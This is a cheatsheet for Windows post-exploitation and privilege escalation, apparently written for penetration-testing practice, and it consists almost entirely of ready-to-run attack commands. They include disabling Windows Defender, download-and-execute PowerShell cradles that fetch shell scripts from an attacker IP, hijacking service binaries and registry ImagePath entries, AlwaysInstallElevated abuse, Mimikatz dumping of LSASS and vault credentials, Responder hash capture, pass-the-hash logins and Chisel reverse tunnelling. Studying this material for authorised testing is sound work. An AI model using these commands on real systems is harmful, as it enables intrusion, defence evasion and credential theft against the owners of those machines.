Windows Privilege Escalation Cheatsheet

Latest updated as of: 12 / June / 2022

So you got a shell, what now?
This post will help you with local enumeration as well as escalate your privileges further.

Usage of different enumeration scripts and tools is encouraged, my favourite is WinPEAS. If confused which executable to use, use this

Keep in mind:

To exploit services or registry, you require:
- appropriate write permissions
- service start permission
- service stop permission
Look for non-standard programs on the system

Note: This is a live document. I’ll be adding more content as I learn

Binaries

Get 64-bit netcat from here Get Chisel from here

General Information

If nothing is specified, assume command can be run on cmd.exe or powershell.exe

Who am I?

whoami
echo %username%

Do I have anything fun?

Notice groups you are part of and privileges you have

whoami /all

Where am I?

hostname
echo %hostname%

Anyone home?

Local users

net users

Domain users

net users /domain

What am I part of?

Local groups

net groups

Domain groups

net groups /domain

What is this place?

systeminfo

Is it fancy?

Both should be the same for ease of exploitation, if either is 32-bit then try to gain a 64-bit shell.
Use PowerShell

[environment]::Is64BitOperatingSystem
[environment]::Is64BitProcess

Am I tied up?

Check LanguageMode. FullLanguage is nicer to have.
Use PowerShell

$ExecutionContext.SessionState.LanguageMode

Anything reachable?

Use PowerShell

Get-AppLockerPolicy -Effective
Get-AppLockerPolicy -Effective | select -ExpandedProperty RuleCollections

What does the inside look like?

Look for interesting services

netstat -ano

Leave me alone

Do you have admin privs?

Disable Windows Defender real time monitoring

Set-MpPreference -DisableRealTimeMonitoring $true

Disable Windows Defender scanning for all files downloaded

Set-MpPreference -DisableIOAVProtection $true

File Transfer

SMB

On KALI, start smb server to serve files. Get impacket from here

Use double-quotes if file path has spaces in it

sudo impacket-smbserver abcd /path/to/serve

You can download files in multiple ways.
Mount drive

CMD or PowerShell

net use abcd: \\kali_ip\myshare
net use abcd: /d # disconnect
net use abcd: /delete # then delete

PowerShell

New-PSDrive -Name "abcd" -PSProvider "FileSystem" -Root "\\ip\abcd"
Remove-PSDrive -Name abcd

Copy w/o mounting

copy //kali_ip/abcd/file_name C:\path\to\save
copy C:\path\to\file //kali_ip/abcd

HTTP

Load script in memory

May help bypass trivial anti-virus solutions

powershell.exe -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ip/file')"

powershell.exe iex (iwr http://ip/file -usebasicparsing)

Save to disk

powershell.exe -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadFile('http://ip/file','C:\Users\Public\Downloads\file')"

powershell.exe -nop -ep bypass -c "IWR -URI 'http://ip/file' -Outfile '/path/to/file'"

CMD or PowerShell

certutil -urlcache -f http://kali_ip/file file

Automated Enumeration

WinPEAS

WinPEAS can be found here

For color, first apply below registry settings and then spawn a new shell

REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1

.\winpeasany.exe quiet

Exploit suggester

This works well with older machines

Windows exploit suggester can be found here This script will be executed on Kali. First take the systeminfo info, paste it in a file

An update may be required, it will generate the Excel file necessary

.\windows-exploit-suggester.py --update

Find vulns

.\windows-exploit-suggester.py -i systeminfo.txt -d 2022-xxx.xlsx

PowerUp

PowerUp can be found here
Although not entirely allowed, we can leverage its Invoke-AllChecks function to quickly find escalation points

The script can be executed in multiple ways

Save on disk, and execute

powershell -ep bypass -c "& { Import-Module .\PowerUp.ps1; Invoke-AllChecks; }"

Execute from memory

Modify the script to contain Invoke-AllChecks at the bottom of the script

powershell.exe -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ip/PowerUp.ps1')"

Hacking the Services

Checking Access using Accesschk.exe

Below should give you an idea of some of the useful flags

# .\accesschk.exe /accepteula
# -c : Name a windows service, or use * for all
# -d : Only process directories
# -k : Name a registry key e.g., hklm/software
# -q : Omit banner
# -s : Recurse
# -u : Suppress errors
# -v : Verbose
# -w : Show objects with write access

Checking service permissions

ALWAYS RUN THE FOLLOWING TO CHECK IF YOU’VE PERMISSIONS TO START AND STOP THE SERVICE

.\accesschk.exe /accepteula -ucqv <user> <svc_name>

Get all writable services as per groups

.\accesschk.exe /accepteual -uwcqv Users *
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" *

Check unquoted service paths by testing if directories are writable

.\accesschk.exe /accepteula -uwdv "C:\Program Files"

Check user permissions on an executable

.\accesschk.exe /accepteula -uqv "C:\Program Files\abcd\file.exe"

Find all weak permissions
Folders

.\accesschk.exe /accepteula -uwdqs Users c:\
.\accesschk.exe /accepteula -uwdqs "Authenticated Users" c:\

Files

.\accesschk.exe /accepteula -uwqs Users c:\*.*
.\accesschk.exe /accepteula -uwqs "Authenticated Users" c:\*.*

Weak registry permissions

.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\svc_name

Getting ACLs

Can we do something about it?

PowerShell

Getting ACLs of services

Get-Acl HKLM\System\CurrentControlSet\Services\svc_name | Format-List

Get ACLs of any file or folder

(get-acl C:\path\to\file).access | ft IdentityReference,FileSystemRights,AccessControlType

Exploiting Services - sc.exe

Query service configuration

Verify config after doing all the changes

sc qc svc

What is the current state of the service?

sc query svc

Modifying config

sc config svc binpath= "\"C:\Downloads\shell.exe\""

If dependencies exist, make it auto or NULL

Check if you can restart the dependant svc

sc config depend_svc start= auto
net start depend_svc
net start svc

sc config svc depend= ""

Turn it off and back on again

net start/stop svc

Registry

# Query configuration of registry entry of the service
reg query HKLM\System\CurrentControlSet\Services\svc_name

# Point the ImagePath to malicious executable
reg add HKLM\SYSTEM\CurrentControlSet\services\svc_name /v ImagePath /t REG_EXPAND_SZ /d C:\path\shell.exe /f

# Start/stop the service to get the shell
net start/stop svc

# Execute a reverse_shell.msi as admin
# Manually, both query's output should be 0x1 to exploit
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Credentials or Hashes

Finding credentials

Common creds location, always in plaintext

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogin"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s

Look for interesting files that may contain creds

dir /s SAM
dir /s SYSTEM
dir /s Unattend.xml

Extracting credentials

No Admin SMB can be used to extract credentials.

First check if target connects back
Start a listener on 445

sudo nc -nvlp 445

Get target to connect to it

copy \\kali_ip\test\file

If nc shows connection, it means hash can be extracted

Responder is an OffSec authorized tool now

Replace interface as required

sudo responder -I tun0 -wrf

Get the target to connect to your server and it will start dropping hashes. These are now required to cracked by your fav cracker (john or hashcat) to be able to use them to pass-the-hash

With Admin Mimikatz requires admin since a handle on lsass is needed to play with credentials (tokens,hashes,tickets) Use can either use mimikatz.exe or Invoke-Mimikatz.ps1

Elevate privileges to debug

privilege::debug

Dump logged on user and computer credentials

sekurlsa::logonpasswords

Elevate privileges to SYSTEM by impersonation

token::elevate

Retrieves credential from LSA

lsadump::lsa /patch

List credentials in CredentialManager

vault::list

Dump credentials in CredentialManager - plaintext password

vault::cred /patch

Leverage credentials

Found plaintext password? On attacker machine you can attempt to login

--system only works if admin creds are on hand

winexe -U 'user%pass123' [--system] //10.10.10.10 cmd.exe

Found hash instead of plaintext password?

pth-winexe -U 'domain\user%hash' [--system] //10.10.10.10 cmd.exe

RunAs

CMD

runas /savecred /user:admin C:\abcd\reverse.exe

PowerShell Runas 1

$password = ConvertTo-SecureString 'pass123' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('Administrator', $password)
Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://kali_ip/shell.ps1')" -Credential $cred

PowerShell Runas 2

$username = "domain\Administrator"
$password = "pass123"
$secstr = New-Object -TypeName System.Security.SecureString
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.14.16/shell.ps1') } -Credential $cred -Computer localhost

Find Files Fast

CMD or PowerShell

dir /s <filename> # or extensions

PowerShell

Get-ChildItem -Path C:\ -Include *filename_wildcard* -Recurse -ErrorAction SilentlyContinue

Port Forwarding

# If some port are listening on the target machine but inaccessible, forward the ports - Port Forwarding
# winexe, pth-winexe, smbexec.py, psexec works on 445, MySQL on 3306
# On KALI
./chisel server --reverse --port 9001
# On Windows
.\chisel.exe client KALI_IP:9001 R:KALI_PORT:127.0.0.1:WINDOWS_PORT
# Example --> .\chisel.exe client KALI_IP:9001 R:445:127.0.0.1:445

# On KALI
winexe -U 'administrator%pass123' --system //127.0.0.1 KALI_PORT
smbexec.py domain/username:password@127.0.0.1 
mysql --host=127.0.0.1 --port=KALI_PORT -u username -p